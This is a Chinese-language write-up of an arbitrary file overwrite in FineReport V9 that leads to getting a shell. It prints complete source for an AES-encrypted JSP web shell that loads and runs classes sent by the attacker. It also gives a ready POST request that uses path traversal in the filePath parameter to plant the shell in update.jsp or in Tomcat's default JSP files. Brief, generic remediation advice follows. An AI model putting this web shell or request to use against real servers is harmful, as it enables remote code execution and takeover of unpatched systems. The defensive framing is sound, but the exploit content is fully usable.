### 帆软V9getshell1:任意文件覆盖与JSP Web Shell植入详解
#### 一、背景介绍
帆软软件有限公司(FineSoft)是中国领先的企业级报表工具及商业智能解决方案提供商,其核心产品之一为FineReport报表设计工具。在2023年某次安全研究中发现了一个严重安全漏洞——任意文件覆盖(Arbitrary File Overwrite),该漏洞允许攻击者通过特定的操作路径上传恶意JSP脚本到目标服务器上,进而获得服务器权限。这一漏洞被命名为“帆软V9getshell1”。
#### 二、漏洞原理
##### 2.1 任意文件覆盖机制
任意文件覆盖是指攻击者能够替换或修改服务器上的现有文件。在帆软报表系统的实现中,存在一处逻辑缺陷使得攻击者可以利用该功能来覆盖特定的JSP文件。
##### 2.2 JSP马的上传与执行
1. **文件路径构造**:攻击者通过精心构造请求中的`filePath`参数,指向一个合法的JSP文件路径。例如,攻击者可以通过设置`filePath`为`../../../../WebReport/update.jsp`,将恶意代码写入到`WebReport`目录下的`update.jsp`文件中。
2. **恶意JSP代码**:攻击者准备了如下恶意JSP代码:
```jsp
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%
class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
if(request.getParameter("pass")!=null) {
String k=(""+UUID.randomUUID()).replace("-", "").substring(16);
session.putValue("u",k);
out.print(k);
return;
}
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec((session.getValue("u")+ "").getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
%>
```
该代码实现了以下功能:
- 通过`request.getParameter("pass")`判断是否接收到触发命令。
- 使用AES加密算法对会话中的密钥进行初始化,并解码用户发送的数据。
- 动态加载并执行解密后的类文件,实现远程代码执行。
3. **HTTP请求示例**:攻击者通过发送如下POST请求将恶意代码写入指定位置:
```
POST /WebReport/ReportServer?
op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update.jsp HTTP/1.1
Host: 192.168.169.138:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36
Connection: close
Accept-Au: 0c42b2f264071be0507acea1876c74
Content-Type: text/xml;charset=UTF-8
Content-Length: 675
{"__CONTENT__":"<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%>......","__CHARSET__":"UTF-8"}
```
4. **利用Tomcat自带的JSP文件**:由于帆软报表系统通常部署在Apache Tomcat服务器上,攻击者可以利用Tomcat默认存在的JSP文件(例如`/tomcat-7.0.96/webapps/ROOT/index.jsp`)作为切入点,通过覆盖这些文件来植入恶意代码。
#### 三、修复建议
1. **升级补丁**:及时安装官方发布的最新版本或安全补丁,以修复已知的安全问题。
2. **限制文件路径**:对用户提交的文件路径进行严格的验证和过滤,避免攻击者通过构造恶意路径覆盖敏感文件。
3. **加强认证与授权**:对关键操作增加二次验证机制,限制非授权用户的访问权限,确保只有经过身份验证的用户才能执行敏感操作。
4. **审计日志记录**:开启并维护详细的审计日志,以便在发生异常情况时进行追踪和分析。
#### 四、总结
帆软V9getshell1这一漏洞揭示了在开发过程中忽视输入验证和权限控制所带来的潜在风险。企业应高度重视此类安全问题,并采取有效措施降低被攻击的风险。同时,用户也应增强安全意识,避免在不安全的网络环境中使用重要系统和服务。
1